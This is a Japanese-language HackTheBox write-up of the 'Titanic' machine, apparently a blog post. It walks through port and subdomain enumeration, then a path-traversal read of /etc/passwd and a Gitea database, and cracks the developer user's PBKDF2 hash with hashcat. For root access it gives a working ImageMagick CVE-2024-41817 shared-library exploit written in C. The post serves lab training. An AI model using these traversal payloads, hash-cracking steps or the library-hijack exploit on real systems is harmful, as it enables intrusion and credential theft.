HackTheBox Writeup： Titanic

# はじめに
本記事はHackTheBoxのWriteupです。

Machineは、Titanicです。

Titanicでは、列挙やImageMagickの脆弱性について学びます。

## スキャニング
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 22:34 JST
Nmap scan report for titanic.htb (10.10.11.55)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Titanic - Book Your Ship Trip
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/3.0.3 Python/3.10.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds
Scan completed

```

上記ポートスキャンの結果を基に調査を行います。

## 列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後taitanic.htbにアクセスすると、以下の様な画面が表示されます。

![スクリーンショット 2025-03-06 22.39.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/20d74857-e73f-4efa-9719-76be686140c2.png)

### コンテンツ探索
文字通り豪華客船タイタニック号を表現したWebサイトと思われますが、gobusterを用いてコンテンツ探索を行なったものの、Titanicのコンテンツ以外で新たな情報は見つかりませんでした。

`$ gobuster dir -u http://titanic.htb -w /usr/share/wordlists/dirb/common.txt `

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://titanic.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/book                 (Status: 405) [Size: 153]
/download             (Status: 400) [Size: 41]
/server-status        (Status: 403) [Size: 276]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
```

### サブドメイン
ffuwを用いてサブドメインの列挙を行います。

レスポンス結果を踏まえて、`-fc`オプションを使用してステータスコードの301を除外します。

`$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://titanic.htb  -H "Host: FUZZ.titanic.htb" -c -fc 301`

```

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 256ms]
:: Progress: [4989/4989] :: Job [1/1] :: 158 req/sec :: Duration: [0:00:34] :: Errors: 0 ::
```

devのサブドメインを検出したのでアクセスすると、Giteaのページが表示されます。

![スクリーンショット 2025-03-06 22.48.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/178bd07b-51ab-4657-9fa6-30b365c9d5f3.png)

### Gitea
GiteaのExploreを参照すると、2つのリポジトリが確認できます。

![スクリーンショット 2025-03-06 22.48.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/61203a95-2e20-4305-b3af-612c859bf498.png)

`developer/docker-config`のリポジトリにアクセスすると、以下のファイルを発見しました。

- `docker-config/gitea/docker-compose.yml`

```docker
version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
```

また、`developer/docker-config`ディレクトリ配下には、mysqlディレクトリが存在し、同じく`docker-compose.yml`ファイルがありました。

## 脆弱性分析
`developer/flask-app`のリポジトリより、Webサイトと思われるソースコードを発見しました。

<details><summary>app.py</summary>

```python
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4

app = Flask(__name__)

TICKETS_DIR = "tickets"

if not os.path.exists(TICKETS_DIR):
    os.makedirs(TICKETS_DIR)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)
```

</details>

上記`flask-app/app.py`は、LFIの脆弱性が存在するため、クエリパラメータの`ticket`に対して、ファイル名を相対パスで指定することで、任意のファイルにアクセスすることができます。

ユーザー情報を調査するため、`http://titanic.htb/download?ticket=../../../etc/passwd`にアクセスして、`/etc/passwd`ファイルを確認します。

`/etc/passwd`ファイルより、developerユーザーが確認できました。

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
```

LFIを悪用することでユーザーフラグを取得できますが、Machineにはログインできないため、引き続きdeveloperユーザーの認証情報を探します。

GiteaはデフォルトでSQLiteを使用しています。また、`/data`ディレクトリの中にサブディレクトリ作成して、データを格納しています。

`docker-compose.yml`ファイルの情報を基に、`http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini`にアクセスして、データベースファイルを調査します。

`app.ini`ファイルより、データベースのファイルパスが確認できました。

```ini
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable
```

上記を踏まえて、`http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/gitea.db`にアクセスして、データベースファイルをダウンロードします。

データベースファイルをダウンロード後、sqliteを用いてデータベースファイルを開きます。

`$ sqlite3 _.._.._home_developer_gitea_data_gitea_gitea.db`

テーブルを確認すると、userテーブルを発見しました。

```
sqlite> .tables
access                     oauth2_grant             
access_token               org_user                 
action                     package                  
action_artifact            package_blob             
action_run                 package_blob_upload      
action_run_index           package_cleanup_rule     
action_run_job             package_file             
action_runner              package_property         
action_runner_token        package_version          
action_schedule            project                  
action_schedule_spec       project_board            
action_task                project_issue            
action_task_output         protected_branch         
action_task_step           protected_tag            
action_tasks_version       public_key               
action_variable            pull_auto_merge          
app_state                  pull_request             
attachment                 push_mirror              
auth_token                 reaction                 
badge                      release                  
branch                     renamed_branch           
collaboration              repo_archiver            
comment                    repo_indexer_status      
commit_status              repo_redirect            
commit_status_index        repo_topic               
commit_status_summary      repo_transfer            
dbfs_data                  repo_unit                
dbfs_meta                  repository               
deploy_key                 review                   
email_address              review_state             
email_hash                 secret                   
external_login_user        session                  
follow                     star                     
gpg_key                    stopwatch                
gpg_key_import             system_setting           
hook_task                  task                     
issue                      team                     
issue_assignees            team_invite              
issue_content_history      team_repo                
issue_dependency           team_unit                
issue_index                team_user                
issue_label                topic                    
issue_user                 tracked_time             
issue_watch                two_factor               
label                      upload                   
language_stat              user                     
lfs_lock                   user_badge               
lfs_meta_object            user_blocking            
login_source               user_open_id             
milestone                  user_redirect            
mirror                     user_setting             
notice                     version                  
notification               watch                    
oauth2_application         webauthn_credential      
oauth2_authorization_code  webhook
```

SQLを実行するにあたり、データを見やすい様に以下の設定を変更します。

```
sqlite> .header on
sqlite> .mode line
```

userテーブルを確認します。

```
sqlite> select * from user;
```

developerユーザーを発見しましたが、パスワードはソルトを使用してハッシュ化されていることが分かります。

```

                            id = 2
                    lower_name = developer
                          name = developer
                     full_name = 
                         email = developer@titanic.htb
            keep_email_private = 0
email_notifications_preference = enabled
                        passwd = e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
              passwd_hash_algo = pbkdf2$50000$50
          must_change_password = 0
                    login_type = 0
                  login_source = 0
                    login_name = 
                          type = 0
                      location = 
                       website = 
                         rands = 0ce6f07fc9b557bc070fa7bef76a0d15
                          salt = 8bf3e3452b78544f8bee9400d6936d34
                      language = en-US
                   description = 
                  created_unix = 1722595646
                  updated_unix = 1741246410
               last_login_unix = 1741246410
          last_repo_visibility = 0
             max_repo_creation = -1
                     is_active = 1
                      is_admin = 0
                 is_restricted = 0
                allow_git_hook = 0
            allow_import_local = 0
     allow_create_organization = 1
                prohibit_login = 0
                        avatar = e2d95b7e207e432f62f3508be406c11b
                  avatar_email = developer@titanic.htb
             use_custom_avatar = 0
                 num_followers = 0
                 num_following = 0
                     num_stars = 0
                     num_repos = 2
                     num_teams = 0
                   num_members = 0
                    visibility = 0
 repo_admin_change_team_access = 0
               diff_view_style = 
                         theme = gitea-auto
         keep_activity_private = 0
```

hashcatで解析ができるようにするため、pbkdf2形式に変換します。

```
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
```

hashcatを実行して解析します。

`$ hashcat -m 10900 -a 0 hash /usr/share/wordlists/rockyou.txt`

```
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 5 5600X 6-Core Processor, 6894/13853 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 3 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:[REDACTED]
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc...lM+1Y=
Time.Started.....: Thu Mar  6 23:10:22 2025 (3 secs)
Time.Estimated...: Thu Mar  6 23:10:25 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     2001 H/s (7.83ms) @ Accel:512 Loops:128 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:49920-49999
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> iheartyou
Hardware.Mon.#1..: Temp: 64c Util: 95%

Started: Thu Mar  6 23:10:21 2025
Stopped: Thu Mar  6 23:10:27 2025

```

## システムハッキング
取得した認証情報を用いてアクセスします。

### ユーザーフラグ
developerユーザーと解析したハッシュ値のパスワードを用いてログインします。

ログイン後、ユーザーフラグが確認できます。

```
total 40
drwxr-x--- 7 developer developer 4096 Feb  3 17:09 ./
drwxr-xr-x 3 root      root      4096 Aug  1  2024 ../
lrwxrwxrwx 1 root      root         9 Jan 29 12:27 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 3771 Jan  6  2022 .bashrc
drwx------ 3 developer developer 4096 Aug  1  2024 .cache/
drwxrwxr-x 3 developer developer 4096 Aug  2  2024 gitea/
drwxrwxr-x 5 developer developer 4096 Aug  1  2024 .local/
drwxrwxr-x 2 developer developer 4096 Aug  2  2024 mysql/
-rw-r--r-- 1 developer developer  807 Jan  6  2022 .profile
drwx------ 2 developer developer 4096 Aug  1  2024 .ssh/
-rw-r----- 1 root      developer   33 Mar  6 14:14 user.txt
```

### ルートフラグ
`/opt`ディレクトリを確認すると、以下の様なディレクトリが確認できます。

```
total 20
drwxr-xr-x  5 root root      4096 Feb  7 10:37 ./
drwxr-xr-x 19 root root      4096 Feb  7 10:37 ../
drwxr-xr-x  5 root developer 4096 Feb  7 10:37 app/
drwx--x--x  4 root root      4096 Feb  7 10:37 containerd/
drwxr-xr-x  2 root root      4096 Feb  7 10:37 scripts/
```

`/opt/scripts/`ディレクトリ配下に興味深いファイルを発見しました。

`$ cat identify_images.sh`

```
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

`magick`は、ImageMagickと呼ばれる画像処理ツールのコマンドです。以下のコマンドでバージョンが確認できます。

`$ magick -version`

```
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
```

Google検索でmagickの7.1.1-35バージョンで検索すると、以下の脆弱性が見つかりました。

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

このバージョンには、ImageMagickの実行時に悪意のある共有ライブラリを現在の作業ディレクトリにロードすることで任意のコード実行を可能にする[CVE-2024-41817](https://nvd.nist.gov/vuln/detail/CVE-2024-41817)の脆弱性が存在します。

PoCを参考にしながら、以下のコマンドを実行して共有ライブラリを作成します。

`$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /tmp/root.txt");
    exit(0);
}
EOF`

上記コマンドを実行後、以下の様な`libxcb.so.1`ファイルが生成されます。

```
-rwxrwxr-x  1 developer developer 15616 Mar  6 15:18 libxcb.so.1*
```

`libxcb.so.1`ファイルを`/opt/app/static/assets/images/`ディレクトリにコピーします。

`$ cp libxcb.so.1 /opt/app/static/assets/images/`

`.jpg`ファイルを用意してスクリプトが実行されると、ルートフラグが取得できます。

```
-rw-r--r--  1 root      root         33 Mar  6 15:20 root.txt
```

# おわりに
ユーザーフラグはLFIを用いて簡単に取得できますが、ルートフラグを取得するためには、タイタニックのように深いところまで調査する必要がある面白いMachineでした。